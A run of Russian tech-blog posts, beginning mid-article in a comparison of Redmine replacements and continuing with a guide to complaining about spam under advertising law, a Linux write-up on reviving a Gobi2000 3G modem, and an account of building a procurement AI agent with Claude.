зеркальные колонки: уникальная фича для синхронизации задач между отделами.

Плюсы

почти нулевое время на обучение сотрудников;
бесплатная версия для команд до 10 человек без ограничений;
отлично подходит для не-ИТ подразделений.

Минусы

не подходит для долгосрочного планирования крупных продуктов;
ограниченные аналитические возможности;
нет глубокой интеграции с системами контроля версий и CI/CD пайплайнами.

Цена: Облако — первые 10 человек бесплатно, далее от ~600 руб. за пользователя. Коробка — от ~1000 руб. за пользователя.

WEEEK

WEEEK — это легкий и современный российский мультисервис для личной и командной работы.

Интерфейс WEEEK

Назначение: малый бизнес, стартапы, творческие коллективы.

Миграция с Redmine: через встроенный импорт CSV или API.

Ключевые возможности

мультиплатформенность: отличные мобильные и десктоп-приложения;
недельное планирование: удобный календарный вид задач;
база знаний: встроенная замена Notion.

Плюсы

очень приятный современный дизайн;
быстрый онбординг сотрудников (в среднем 1-2 дня) благодаря наличию готовых шаблонов проектов и встроенных обучающих туров;
наличие бесплатного базового тарифа.

Минусы

не предназначен для сложного проектирования ИТ-инфраструктуры (SDLC);
отсутствует глубокая привязка к инженерному стеку (Git, сборки);
отсутствие On-premise версии.

Цена: от 190 руб. за пользователя (платные тарифы).

ADVANTA

ADVANTA — это cистема портфельного управления (PPM) для руководителей. Фокус не на карточках, а на деньгах, сроках и рисках всего холдинга.

Интерфейс ADVANTA

Назначение: проектные офисы крупных компаний, занимающихся капстроительством или цифровой трансформацией.

Миграция с Redmine: через API или выгрузки.

Ключевые возможности

светофоры проектов: мгновенная визуализация здоровья всего портфеля;
контрольные точки: жесткий мониторинг ключевых этапов;
сбор отчетности: автоматизация формирования статусов для топ-менеджмента.

Плюсы

лучшая отчетность для акционеров и руководителей;
продуманная методология управления проектами «из коробки»;
глубокий финансовый учет.

Минусы

слишком формализована для продуктовых команд (Agile);
отсутствие инструментов для управления кодовой базой и релизами ПО;
сложный интерфейс для рядовых исполнителей.

Цена: От ~4 500 руб. за пользователя в месяц (облако). Внедрение On-premise рассчитывается индивидуально.

Битрикс24

Битрикс24 — это одна из самых популярных в СНГ платформ «все в одном». Задачи здесь — часть большой социальной сети компании.

Интерфейс Битрикс24

Назначение: компании любого размера, которым нужно закрыть все потребности в одном окне (CRM, чаты, задачи, телефония).

Миграция с Redmine: через CSV или REST API.

Ключевые возможности

экосистема: задачи тесно связаны с CRM-сделками и календарями;
роботизация: автоматическое создание задач по триггерам;
контроль времени: детальный учет рабочего времени сотрудников.

Плюсы

огромная партнерская сеть: внедренца можно найти в любом городе;
низкая цена в пересчете на пользователя для больших команд;
закрывает потребности всех отделов, не только ИТ.

Минусы

избыточность и «тяжесть» интерфейса для узких задач разработки;
ИТ-командам не хватает специализированных инструментов разработки (нативная работа с Git, Release Management);
слабые встроенные Agile-инструменты.

Цена: пакетные тарифы (от ~2000 руб. за компанию). Коробка (On-premise) — от 109 000 руб.

Мегаплан

Мегаплан — классика российских систем управления, надежная и проверенная временем CRM с модулем проектов.

Интерфейс Мегаплан

Назначение: сфера услуг, оптовая торговля, малый и средний бизнес.

Миграция с Redmine: через импорт Excel/CSV.

Ключевые возможности

четкая иерархия: понятная структура проектов и поручений;
финансовый контроль: учет оплат и счетов внутри проектов;
история отношений: все задачи привязаны к карточке клиента.

Плюсы

очень стабильное решение с отличной техподдержкой;
простая и понятная логика для не-ИТ специалистов;
мощная интеграция проектов и CRM.

Минусы

архитектура системы не профилирована под цикл разработки программного обеспечения (спринты, релизы, интеграция с репозиториями);
консервативный дизайн;
не подходит для классического SDLC.

Цена: от ~1 500 руб. в месяц за 5 пользователей.

Кого не включили и почему

Jira — официально ушла с российского рынка: легально оплатить и обновлять нельзя.
OpenProject и другие наследники — честный open source, но это переезд «шило на мыло»: тот же сервер на самоподдержке, те же плагины и те же человеко-часы инженеров, ради ухода от которых обычно и затевается миграция. Если вас устраивает модель Redmine — оставайтесь на Redmine, его комьюнити больше.
GitLab Issues и GitHub Issues — для команды до 10 человек, живущей в репозитории, их может хватать, и это нормально. Но проектного управления, релизного цикла и ресурсного планирования там нет — это другой класс инструментов.
Trello, Asana, Wrike — та же история, что с Jira: ушли или ограничили работу в РФ, рассматривать их как стратегическую замену в 2026 году нет смысла.

Заключение

Поиск замены Redmine — хороший повод провести ревизию процессов: половина «ограничений Redmine» при ближайшем рассмотрении оказывается ограничениями того, как вы его используете.

Выбор сводится не к «какая система лучше», а к тому, куда вы растете:

Если разработка и поддержка должны жить в одном контуре, а компания растет до сотен пользователей — смотрите на SimpleOne SDLC. Но закладывайте миграцию как отдельный проект: быстро не будет, зато один раз.
Если нужен быстрый переезд с минимальным сопротивлением команды — Kaiten: встроенный импорт из Redmine и интерфейс, которому не нужно обучать. Потолок — сложное проектное управление, но до него ещё надо дорасти.
Если задача — дёшево получить современный трекер без проекта внедрения — Яндекс Трекер закроет её за вечер. Глубины платформы там нет, но она нужна не всем.

И совет на дорожку: никогда не выбирайте систему по демо. Возьмите ваш самый кривой процесс — тот, который в Redmine требовал пяти плагинов и молитвы, — и попробуйте настроить его в новой системе на пилоте. Вендор, у которого это получится быстро и без программистов, и есть ваш фаворит. А если таких не нашлось — возможно, ваш Redmine еще поживет.

В мире диких спамеров или Федеральный закон о рекламе. Просто о сложном

xokare — Wed, 10 Jun 2026 15:20:04 +0000

Одолели спамеры? Пять раз в день предлагают банковские карты, медицинские услуги и недвижимость? Вы знали, что у вас есть права? Так сказано в Конституции, и я с ней согласен!

У вас есть права. Так сказано в Конституции, и я с ней согласен! Цитата из т/с «Лучше звоните солу»

При распространении рекламы по сетям электросвязи (звонки, смс и пуш сообщения) рекламораспространитель обязан заручиться предварительным согласием абонента.

Если такое согласие у него отсутствует – звонок незаконен, а вы имеете право отправить жалобу в местное Управление ФАС. Управление попробует найти и оштрафовать спамера. Как правило, находит и штрафует.

Для подачи жалобы необходимо чтобы звонок был рекламным.

Понятие рекламы в Федеральном законе описано очень широко. Согласно определению из третей статьи реклама - информация, распространенная любым способом, в любой форме и с использованием любых средств, адресованная неопределенному кругу лиц и направленная на привлечение внимания к объекту рекламирования, формирование или поддержание интереса к нему и его продвижение на рынке.

Как правило, в правоприменительной практике споры строятся вокруг такого критерия как «направленность неопределённому кругу лиц».

Однако, суды часто встают на сторону потребителей и толкуют указанное понятие максимально широко.

Так Банку ВТБ (ПАО) дважды – Постановление АС Московского округа от 27.08.2021 № Ф05-20064/2021 и Постановление АС Северо-Западного округа от 07.02.2023 № Ф07-21454/2022 – не удалось убедить судебные инстанции в том, что СМС сообщение с обращением по имени и отчеству и индивидуально рассчитанными процентными ставками и суммами кредита являются персональным предложением, а не рекламой.

В решении по аналогичному делу с участием того же банка судья Арбитражного суда Магаданской области (Решение от 26.02.2024 по делу № А37-3172/2023) выразила весьма прогрессивную позицию: «Учитывая развивающиеся технологии и возможности обработки значительного объема информации, в том числе об определенном абоненте, следует оценивать не только возможность неопределенного круга лиц воспользоваться отдельным предложением продавца, но и систематичность, массовость направления однотипных сообщений и их конечную цель. Таким образом, рассматриваемое смс-сообщение имеет регулярный характер, не является персональным предложением заявителю, направляется не одному абоненту, а массово и регулярно».

Следующие доводы традиционно отклоняются Управлениями ФАС и судами, и информация признается рекламой даже если:

Содержит обращение по имени
Направлена на конкретный номер и конкретному лицу
Направлена на привлечение внимания определённой аудитории

Однако, стоит иметь в виду, что закон о рекламе содержит исключения. Так статья 2 Закона о рекламе содержит девять пунктов прямых исключений на которые не распространяется положения закона о рекламе.

Все исключения упоминания в статье не заслуживают, отразим наиболее значимые на наш взгляд.

Федеральный закон не распространяется на:

1) Политическую рекламу, в том числе предвыборную агитацию и агитацию по вопросам референдума.

Если вас приглашают по телефону проголосовать за какую-либо партию – ФАС не поможет. Жаловаться следует в Избирательную комиссию и указывать на нарушение соответствующего закона, который устанавливает требования к агитации. Также можно пожаловаться в Роскомнадзор на незаконную обработку персональных данных для целей агитации, если такая обработка имеет место (статья 15 Закона о персональных данных).

2) информацию, раскрытие или распространение либо доведение до потребителя которой является обязательным в соответствии с федеральным законом;

Очень сложно представить такое по телефону. Но иногда спамеры об этом заявляют. Правило простое – если вам позвонили и начали читать список обязательной информации из 10 статьи Закона о защите прав потребителей, это не реклама. Но УФАС и суды как правило с такими умниками не соглашаются и этот довод отклоняют.

3) справочно-информационные и аналитические материалы (обзоры внутреннего и внешнего рынков, результаты научных исследований и испытаний), не имеющие в качестве основной цели продвижение товара на рынке и не являющиеся социальной рекламой;

Вокруг этого пункта обычно возникает больше всего драмы. Очень часто заявляется спамерами, но суды и УФАС возражение не поддерживают. Для целей указанного пункта не являются рекламой: научные статьи, каталоги, обобщённая статистика (на подобии той, что публикует Росстат). Информация справочного характера должна носить нейтральный характер и не преследовать цели «привлечения внимания к объекту рекламирования, формирование или поддержание интереса к нему и его продвижение на рынке».

4) сообщения органов государственной власти, иных государственных органов, сообщения органов местного самоуправления, сообщения муниципальных органов, которые не входят в структуру органов местного самоуправления, если такие сообщения не содержат сведений рекламного характера и не являются социальной рекламой;

Тут всё просто до безобразия. Сообщения от МЧС – не реклама.

Также есть секретное основание для отказа, прямо не названное в статье 2 Закона о рекламе, но встречающееся на практике. Социальная реклама.

Согласно определению из закона социальная реклама - информация, распространенная любым способом, в любой форме и с использованием любых средств, адресованная неопределенному кругу лиц и направленная на достижение благотворительных и иных общественно полезных целей, а также обеспечение интересов государства.

Социальная реклама должна соответствовать только требованиям статьи 10 Закона о рекламе, поэтому положения статьи 18 Закона о рекламе про согласие абонента на неё не распространяются.

Так что нажаловаться в УФАС на поступившее по телефону предложение стать оператором БПЛА не получится. Комиссия откажет в возбуждении дела и это будет законно.

Следующее немаловажное понятие из словаря начинающего антиспамера объект рекламирования - товар, средства индивидуализации юридического лица и (или) товара, изготовитель или продавец товара, результаты интеллектуальной деятельности либо мероприятие (в том числе спортивное соревнование, концерт, конкурс, фестиваль, основанные на риске игры, пари), на привлечение внимания к которым направлена реклама.

Товар - продукт деятельности (в том числе работа, услуга), предназначенный для продажи, обмена или иного введения в оборот.

Почему важное? Одним из частых возражений, которые спамер может заявить Комиссии УФАС будет – это не реклама, потому что нет объекта рекламирования. Поэтому важно знать, что это такое, чтобы вы могли возразить. Понятие достаточно широкое и включается в себя пять позиций, некоторых из которых включают в себя другие позиции.

Примеры описания объекта рекламирования из реальных решений УФАС:

1. Рекламное сообщение: «Меня зовут Мария. Альфа Банк. Звоню вам именно по ИП. Подскажите пожалуйста, вышла задача вам за открытие счета. Вот. Вы попали в списочек. Три тысячи будет начислено. И у нас ещё сейчас действует кешбэк 10% на любые категории покупок именно для ИП. Хотела предложить вам подключиться».

Описание УФАС:

«Информация, распространенная на абонентский номер заявителя …, содержит все необходимые юридические признаки рекламы, позволяющие определить ее именно в этом качестве и отличить от информации не рекламного характера: предназначена для неопределенного круга лиц; распространена по сетям электросвязи; преследует строго заданные цели информирования и продвижение на рынке – для коммерческих целей, преследующие извлечение прибыли, призвана формировать и поддерживать интерес со стороны потребителей к объекту рекламирования (услугам «Альфа-Банка» по открытию расчётного счёта).

В содержании звонка имеется наименование хозяйствующего субъекта, осуществляющего деятельность под наименованием «Альфа Банк», а также информация об услугах данного лица (открытие расчетного счета для ИП).

Из текста рекламного сообщения следует, что объектом рекламирования в рассматриваемом случае выступает как средство индивидуализации юридического лица – его фирменное наименование АО «Альфа-Банк», так и оказываемая банком услуга (открытие счета для ИП), целью является привлечь внимание к финансовой деятельности Банка».

2. Рекламное сообщение: «Алло, здравствуйте, вы меня слышите, меня Александр зовут. Я звоню вам, так как в ближайшие дни мы организовываем бесплатную проверку зрения в вашем регионе и в рамках, которого для всех участников будут выделены корригирующие очки. И так как проверка запланирована по всей стране, а ближайшее пройдет в городе Иерихон, хотел бы у вас уточнить: вы же из этого города – правильно?»

Описание УФАС:

«Из представленной аудиозаписи следует, что звонок совершен компанией, позиционирующей себя организацией, осуществляющей встречи, связанные со здоровьем, содержит предложение посещения мероприятия, проведение которого планировалось в г. Иерихон, в том числе, с прохождением бесплатной процедуры проверки зрения и получении корригирующих очков. Рассматриваемое сообщение в виде телефонного звонка с направленностью на привлечение внимания к медицинской услуге (проверка зрения) и медицинской технике (корригирующие очки – это оптический прибор для коррекции зрения) определяется как реклама, поскольку обладает всеми квалифицирующими признаками рекламы применительно к пункту 1 статьи 3 Закона о рекламе».

3. Рекламное сообщение: «К новогоднему столу: вам 400 баллов на 5 дней за чек от 100 ₽ до 28.12»

Описание УФАС:

«Комиссия – учитывая содержание рассматриваемого сообщения, отклоняет довод Общества о том, что это сообщение не является рекламой, целью направления рассматриваемого сообщения является привлечение внимания потребителей к магазинам «X5 Клуб» («Pyaterochka») путем направления им информации о получении баллов, а также стимулирование потребителей для совершения покупок в магазине «Pyaterochka».

Объектом рекламирования в рассматриваемом случае является как непосредственно само ООО «Агроторг», так и программа лояльности «X5 Клуб».

Если есть объект рекламирования – это реклама, если нет – значит нет. Но в спорных ситуациях советую всё-таки писать в УФАС. Иногда случаются различного рода чудеса и удивительные толкования закона и вам может показаться, что сообщение не реклама, но Комиссия решит по-другому.

Помимо изложенного точно НЕ будут признаны ненадлежащей рекламой:

Мошеннические звонки от «Генералов Центробанка»
Звонки коллекторов (на них следует жаловаться по 230 закону в ФССП)
Частная переписка между двумя лицами
Звонки с тишиной в трубке и прозвоны из разряда «алло, ошиблись номером»
Соцопросы, оценка качества услуг и т.п. признаются массовыми вызовами, за которыми надзирает Роскомнадзор с разной степенью успешности. В ФАС на них писать, как правило, бесполезно

После того как вы вспомнили всё изложенное и точно убедились, что перед вами реклама. А также убедились, что вы не давали её отправителю согласия (поверьте, перепроверить галочки в формах регистрации и любые подписанные вами документы, если вам знакомо название отправителя спама стоит, можете найти много интересного) можно написать жалобу в ФАС.

Подробная инструкция как пожаловаться на спам есть в статье https://habr.com/ru/news/1029254/ повторяться не буду.

Жалобу можно направить через личный кабинет на сайте ФАС https://lk.fas.gov.ru/ или через Госуслуги https://pos.gosuslugi.ru/form/?opaId=359628

Друзья! Статья получилась на 4 листа печатного текста, так что на сегодня, пожалуй, всё. Если вам понравилось – дайте знать. Постараюсь написать продолжение как можно скорее.

В следующих сериях:

Согласие на рекламу. Практика и подводные камни. Враньё на комиссиях. Ответственность за непредоставление информации Управлению. Какие согласия ФАС признаёт ненадлежащими? Как признать недействительными ВСЕ согласия спамера? Требование о прекращении распространения рекламы и отзыв согласия на обработку персональных данных.
Способы ухода спамеров от ответственности и меры противодействия им. Реальные случаи из практики.
Дуализм правовых процедур в рекламном законодательстве. Разница между Законом о рекламе, Правилами рассмотрения дел и Кодексом РФ об административных правонарушениях. Одна жалоба – две процедуры, три подсудности. Рекламные дела, дела об АП. Участие в рассмотрении дела. Запрос информации у ФАС.
Когда спамер нарушает закон о персональных данных? Что писать в Роскомнадзор и что он может сделать?
Вас послали, а вы не послались! Что делать если вы не согласны с решением Управления. Разница в подходе к рассмотрению жалоб в двух столицах и регионах.
Встретимся в суде! Мой адвокат Сол Гудман! Как подать на спамера в суд. Компенсация морального вреда. Сложности, суммы, холивар о применимых законах.

С радостью пообщаюсь с вами в комментариях. Телеграм каналы не рекламирую.

Как меня занесло в Debian 8 ради запуска Qualcomm Gobi2000 на Lenovo S10-3

iCyanide — Wed, 10 Jun 2026 15:17:18 +0000

Недавно я решил немного привести в порядок свой старый Lenovo S10-3. Для большинства людей это давно устаревший нетбук: Intel Atom N455, 2 ГБ памяти и возраст, сравнимый с некоторыми современными стажёрами. Но после установки SSD Kingston на 480 ГБ и Linux он вполне пригодился в роли мобильной аварийной консоли администратора. SSH, WireGuard, браузер, консоль — большего от него и не требуется.

Варианты ставить Windows 8 или 8.1 я даже не рассматривал. Процессор слишком слабый, оперативной памяти мало, а комфортной работы всё равно не получилось бы. Изначально этот нетбук поставлялся с Windows XP Home Edition, но даже на родной системе отзывчивость оставляла желать лучшего. Поэтому выбор Linux в качестве основной и единственной операционной системы был вполне осознанным и оправданным.

Во время очередного эксперимента я вспомнил, что внутри установлен встроенный WWAN-модуль HP un2420 на базе Qualcomm Gobi2000. Сегодня такие устройства практически исчезли из поля зрения. Большинство пользователей давно перешло на LTE и 5G, а инструкции по Gobi2000 заканчиваются где-то во временах Windows 7.

И да, мне стало интересно. Не потому, что мне жизненно необходим 3G-интернет в 2026 году. Просто хотелось понять, можно ли заставить эту древность работать на современной системе. Срочно достал рабочую SIM-карту из запасников и понеслась работа.

Модем определялся системой сразу:

Bus 001 Device 002: ID 03f0:241d HP, Inc Gobi 2000 Wireless Modem (QDL mode)

Однако на этом хорошие новости заканчивались. Система видела устройство, но полноценного модема как будто не существовало. NetworkManager не предлагал подключение, а ModemManager первоначально не мог использовать устройство по назначению.

Первой мыслью было, что модем банально неисправен. Всё-таки железке больше пятнадцати лет. Второй вариант — современные ядра Linux давно забыли про существование Gobi2000. Третья гипотеза заключалась в отсутствии подходящей firmware, что подтверждалось QDL-состоянием устройства.

Поиск по современным ресурсам дал немного. Большинство рабочих инструкций относилось к эпохе Debian 7, Debian 8 и Windows 7. В какой-то момент я поймал себя на мысли, что решаю проблему современной системы через документацию десятилетней давности.

Именно тогда всплыла утилита gobi_loader.

Сначала я попробовал штатный gobi_loader из MX Linux. Устройство определялось, но до рабочего состояния так и не доходило. Именно тогда возникло подозрение, что проблема может быть не в модеме, а в самой утилите.

Постепенно стало понятно, что Gobi2000 устроен не совсем так, как большинство современных модемов. После подключения устройство находится в специальном bootstrap-состоянии и ожидает загрузки firmware. Без этого шага полноценный модем просто не появляется в системе. Сегодня подобное поведение выглядит необычно, поэтому его легко принять за неисправность.

В процессе выяснилось, что не все версии gobi_loader одинаково полезны. Утилита из репозиториев MX Linux корректно определяла устройство, однако не позволяла завершить процесс инициализации модема. В итоге был использован gobi_loader из Debian 8, найденный по старым обсуждениям и документации того периода. После замены штатной версии на более старую утилита начала работать именно так, как ожидалось для Gobi2000.

Забавно, что для запуска модема образца 2010 года на Linux 2026 года пришлось использовать программное обеспечение времён Debian 8. Вся эта история всё больше напоминала археологические раскопки.

Самым интересным моментом оказалась прошивка. У меня сохранился комплект драйверов Windows 7 для HP un2420. Из него были извлечены MBN-файлы, после чего была собрана директория firmware для Linux:

/lib/firmware/gobi/amss.mbn

/lib/firmware/gobi/apps.mbn

/lib/firmware/gobi/UQCN.mbn

Фактически старый пакет драйверов Windows выступил источником firmware для современной Linux-системы.

На мой взгляд, это одна из самых интересных деталей всей истории: чтобы заставить работать модем на Linux 2026 года, понадобились файлы из драйверов эпохи Windows 7.

Отдельно стоит отметить, что путь к результату оказался далеко не прямым. Приходилось экспериментировать с различными вариантами firmware, комбинировать файлы из нескольких комплектов драйверов и анализировать поведение модема через AT-команды. Некоторые конфигурации позволяли устройству определяться системой, но не давали зарегистрироваться в сети. В других случаях модем переходил в ограниченный режим работы. Лишь после нескольких итераций удалось подобрать набор firmware, при котором устройство полноценно заработало в сети оператора.

После размещения firmware и замены штатного gobi_loader на версию из Debian 8 была использована классическая команда:

sudo /lib/udev/gobi_loader -2000 /dev/ttyUSB0 /lib/firmware/gobi

Утилита оказалась именно той недостающей частью пазла. После её запуска модем отключился от USB-шины и через несколько секунд появился снова. В журнале ядра появились характерные сообщения о создании интерфейсов ttyUSB0, ttyUSB1 и ttyUSB2. После этого система зарегистрировала устройство уже как полноценный модем и создала сетевой интерфейс wwan0.

Проверка через ModemManager показала, что устройство успешно определяется системой:

manufacturer: Qualcomm Incorporated

model: HP un2420 Mobile Broadband Module

firmware revision: D1025-STUTABGD-3600

Самое приятное ожидало дальше:

state: connected

access tech: hsdpa, hsupa

registration: home

packet service state: attached

То есть модем не просто определился. Он зарегистрировался в сети оператора и установил соединение.

В системе появился интерфейс wwan0, который получил адрес мобильного оператора:

inet 10.144.xxx.xxx/30

После этого оставалось проверить самое главное. Внешний IP успешно определялся через curl, а тестовые пинги проходили без потерь:

PING 8.8.8.8

4 packets transmitted, 4 received, 0% packet loss

Также корректно работало разрешение DNS-имён:

PING google.com

4 packets transmitted, 4 received, 0% packet loss

На этом этапе эксперимент можно было считать завершённым.

Изначально я предполагал, что проблема находится где-то в драйверах или несовместимости старого оборудования с современным Linux. На практике всё оказалось намного интереснее. Сам модем исправен. Современное ядро Linux прекрасно умеет работать с Gobi2000. Основная проблема заключается в том, что устройству необходимо загрузить firmware до появления полноценного модемного интерфейса.

В итоге для решения задачи потребовались старый Lenovo S10-3, модем HP un2420, несколько файлов из драйверов Windows 7 и утилита gobi_loader, найденная благодаря документации времён Debian 8.

Результатом стал полностью работоспособный 3G-модем образца 2010 года, который успешно подключился к сети и получил доступ в Интернет на современной Linux-системе.

Возможно, практической пользы от этого эксперимента немного. LTE-модем сегодня купить гораздо проще. Но целью было не получить интернет любой ценой. Целью было понять, можно ли заставить работать устройство, которое большинство давно считает устаревшим. Оказалось, что можно.

3 дня вместо 6 месяцев. Я перестала ждать разработчика и собрала продукт сама

OlgaZhulikova — Wed, 10 Jun 2026 15:15:08 +0000

6 месяцев. Это сколько мы строили продукт с внешним разработчиком. Потом я психанула и сделала за 3 дня сама с помощью AI. Дальше — что я поняла из этого опыта.

Эта статья — не «AI заменит разработчиков». Это про другое — про то, как методология работы меняется, когда у тебя есть AI как партнер.

Что строили

Продукт назывался BidSpot. AI‑агент для b2b‑закупок на маркетплейсах Индонезии. Логика простая: закупщик описывает, что нужно, на естественном языке («нужны 2 ноутбука Asus Zenbook S 14 UX5406, бюджет до 30 млн IDR за штуку»). Дальше агент сам переводит запрос на индонезийский, ищет на Shopee / Tokopedia / Blibli, нормализует выдачу, считает per‑unit цены, ранжирует топ-7, сравнивает с медианой рынка и с похожими тендерами на платформе Zinit, отдает проверяемый markdown‑отчет со ссылками прямо на товары.

В ноябре 2025-го мы подписали договор с внешним разработчиком на MVP такого продукта. Архитектура двухстадийная: глубокий поиск (точная модель → лучшие предложения) и широкий поиск (если точной модели не найдено — подобрать альтернативы).

КП я запрашивала у трех подрядчиков. Все назвали MVP за 2 месяца. Сроки в трех КП были похожи — это убеждало, что 2 месяца — реалистичная оценка. Выбрала одного.

Stage 1 («Глубокий поиск») собрали. Не за 2 месяца. К маю Stage 2 еще не был в продакшне.

И вот здесь — главная проблема, которая выяснилась только в ретроспективе. Без лексики разработчика прийти к подрядчику со словами «здесь должно быть так, а не иначе, давай по‑моему» — невозможно. Не из‑за подрядчика — из‑за самой конфигурации работы. Заказчик без технического языка может только смотреть на демо, говорить «не работает» и ждать следующего демо через две недели.

В этой конфигурации управления проектом нет. Есть надежда, что подрядчик примет правильные решения за заказчика.

К маю накопилось.

Что запустило

Первая эмоция была не страх. Это была злость — что я не управляю проектом, не знаю всех альтернатив, между которыми разработчик выбирает.

Вторая эмоция шла сразу: «А я не хочу злиться и ничего не делать. Я хочу делать, а не злиться».

В этот момент открылся Claude и пошел первый промт.

Что получилось за 3 дня

Вечером 27 мая — один промт, один API‑ключ, никакой инфраструктуры. Пять разных категорий товаров — ноутбук, кондиционер, промышленный клей, проектор, холодильник — прошли через прототип. Все пять вернули проверяемые markdown‑отчеты с реальными ценами на индонезийских маркетплейсах. Это был proof of concept.

Дальше — три рабочих дня.

К концу третьего дня в продакшне работало:

Backend — FastAPI на Railway. От первого коммита до доступного API — 38 минут. Полный пайплайн: перевод запроса → SerpAPI Google Shopping → нормализация → ранжирование через Claude Opus → markdown‑отчет.
Frontend — web‑интерфейс на Lovable, через который можно сделать запрос и получить отчет.
Бенчмарк с платформой Zinit — автоматическое сопоставление товара из выдачи с похожими закупками в тендерах Zinit, с per‑unit нормализацией цены.
8 критических доработок качества — точное совпадение артикулов, обработка multi‑pack товаров, дедупликация дубликатов, бейдж «Different SKU» для близких вариантов, Marketplace Trust Rule для safety‑critical категорий и еще несколько.
Архитектурный слой feature flags — под будущие тарифы (без него продукт нельзя продавать с разной премиум‑логикой).
Документация для передачи — README, HANDOFF.md с блоком «как не сломать», чеклист переноса домена, описание env‑переменных.

Стек: FastAPI + Anthropic Claude (Sonnet 4.5 на пайплайне + Opus 4.5 на ранжировании) + SerpAPI Google Shopping + Railway‑хостинг + Lovable‑фронтенд. Стоимость одного поиска ~$0.53. Время одного поиска ~60 секунд.

Это не «MVP, который теоретически работает». Это продукт, который можно передать новому техлиду — он откроет HANDOFF.md, прочитает чеклист и поймет, как система устроена и где она может сломаться.

Дальше — про метод, без которого этих трех дней бы не было.

Растущее ТЗ как метод

Классический сценарий работы по ТЗ, который я знаю:

Пишется ТЗ.
ТЗ отдается разработчику.
Идет ожидание.
Приходит демо.
На демо что‑то не так.
Пишется новое ТЗ или дополнение.
Goto 2.

Что в этом не так: ТЗ написано до того, как кто‑либо увидел первый результат. Большая часть деталей, которые на самом деле важны, обнаруживается только когда продукт сталкивается с реальными данными. Узнавание происходит через две недели — через демо. Исправление — еще через две недели.

Этот темп — норма индустрии. Никто его не выбирал; он сложился исторически, когда цикл «гипотеза → проверка → коррекция» стоил дорого по человеко‑часам.

Когда в качестве партнера появляется AI, темп цикла меняется. И это меняет все остальное — в том числе само понятие «ТЗ».

Правило

В одной строке:

Каждая проверка результата = расширение списка задач.

В переводе на человеческий: ТЗ не пишется до конца. Пишется первый набросок. Запускается первая версия. Дальше идет проверка результата — и из того, что увидела, рождаются новые задачи в ТЗ.

Следующая итерация. Снова проверка. Снова находки → новые задачи. ТЗ растет из результата, а не из предположений.

Вот один цикл из рабочей переписки с Claude, дословно:

«Внеси в ТЗ твои находки в виде задач. Сначала зафиналим обсуждение, проанализируем еще несколько моментов (пришлю в следующем сообщении), а потом будем реализовывать задачи.»

И ответ — три новые задачи в ТЗ с описанием «где проявилось / корень / решение / acceptance / объем». Я их не формулировала. Я только смотрела на отчеты и говорила, что необходимо добавить, чего не хватает, на что обратить внимание — Claude переводил наблюдения в задачи.

Через час — следующая команда:

«Подготовь на основе этих пунктов план сессий. По приоритету — сначала устраняем качественные баги.»

13 накопленных задач разбиваются на Сессию 5 (качество, 8 задач) и Сессию 6 (надежность, 5 задач). Внутри каждой — приоритеты Critical / Should.

Это и есть «растущее ТЗ». Не оно пишется заранее — оно направляется в моменте. От человека требуется одно: смотреть на результат и говорить, что в нем важно, что мелочь, а что блокер. Перевод содержания в структуру задач делает AI.

Пример провала

Чтобы не было ощущения, что все работает с первого раза.

Одна из задач Сессии 5 звучала просто: в финальном объяснении выбора AI должен ссылаться на видимую читателю позицию товара в списке, а не на внутренний идентификатор. Логично, очевидно, исправляется через корректировку промта на 5 строк.

Первая итерация: формулировка переписана. Запускаю. Результат: AI продолжает писать «(idx N)» в скобках.

Вторая итерация: добавлен явный запрет на парентезу с idx. Запускаю. AI больше не пишет «(idx N)», но порядок ссылок все равно не соответствует видимому порядку.

Третья итерация: добавлена принудительная сортировка результата по полю rank перед передачей в промт. Запускаю. AI ссылается на верный порядок, но язык объяснений ушел в технический жаргон.

Четвертая, финальная итерация: промт переписан с нуля. Не «не делай X», а «делай так: формулируй объяснение через цену — „за 25.7 млн получаете 32 GB, против 30 млн у первой позиции“„. Запускаю. Работает.“»

Каждая итерация — 20–30 минут. Четыре итерации на одну задачу — примерно 2 часа. И это нормально.

В классической работе по ТЗ это заняло бы 4 демо подряд через 2 недели каждое — два месяца на одну, по сути мелкую, задачу. С растущим ТЗ — два часа в один заход. Это и есть та самая разница в темпе цикла.

Санити‑чек

Без одного дополнительного правила растущее ТЗ превращается в свалку.

Правило — остановка для инвентаризации каждые 2–3 часа работы. Дословная формула, которая у меня хорошо работает:

«Делаем короткую паузу. Выдыхаем. Подготовь статус: что было зафиксировано как „необходимо сделать“, что было зафиксировано как „не забыть и обязательно“, что было упомянуто, что из этого было сделано, что осталось.»

В ответ приходит структурированный обзор: эволюция документа, инвентаризация задач (что обязательно / не забыть / упомянуто / сделано / осталось), статусы каждого пункта.

Эта пауза занимает 5 минут и снимает 80% риска уйти не туда. Без нее через 3–4 часа работы накапливается дрейф: задачи трактуются по‑разному, забывается, что уже сделано, появляются дубли.

Санити‑чек — это не задержка. Это способ продолжать двигаться быстро, не теряя направления.

Эффект 50×

Хочется здесь быть особенно аккуратной — потому что часто отсюда делают неверный вывод «значит, разработчики не нужны». Это не так.

Разница в темпе цикла.

С разработчиком цикл «нашла → описала → внедрил → проверила» занимает 1–2 недели. И это нормально. Разработчик — это человек, у которого несколько проектов, ему нужно переключаться, нужно встретиться, нужно протестировать.

С AI тот же цикл занимает 15–30 минут.

Когда цикл укорачивается в 50 раз, необходимость писать ТЗ заранее отпадает. Оно пишется в процессе. И это не «улучшение старого процесса». Это другой режим работы, в котором отдельные правила старого процесса просто перестают иметь смысл.

AI как партнер снимает требование заранее знать ответ. А заранее знать ответ — это ровно то, чего не получалось у меня в первые шесть месяцев работы с подрядчиком. Я не знала индонезийские маркетплейсы. Не знала, как ведут себя multi‑pack товары. Не знала, что Google Shopping возвращает Bahasa‑результаты в три раза меньше, если запрос не переведен.

Все это узнавалось из самих отчетов. И в момент, когда узнавалось — расширялось ТЗ.

Что было сложно, а что просто

Сложно: не код. Код Claude писал хорошо.

Сложно — внешние сервисы. Railway, SerpAPI. У каждого своя логика авторизации, свои переменные окружения, свои ошибки. Это та область, где AI не работает в одиночку: он не видит мою консоль Railway, не знает, какой именно env‑var забыт. Здесь нужны руки — копировать ошибки, искать в документации, пробовать заново.

Это к разговору о «AI все сделал»: нет, не все. AI закрыл архитектуру и логику. Операционные стыки закрылись руками.

Просто: соблюдать само правило «каждая проверка результата = новая задача в ТЗ».

Но здесь важная оговорка — и она опровергает соблазнительный, но неверный вывод.

Растущее ТЗ не отменяет необходимости держать цельную картину продукта в голове. Это базовый навык, без которого даже идеальная методология не поможет. Если ты не понимаешь, какие компоненты системы как влияют друг на друга, что от чего зависит, что критично, а что вторично — растущее ТЗ превратится в плоский список задач без приоритетов. Каждая задача будет казаться одинаково важной, и проект встанет.

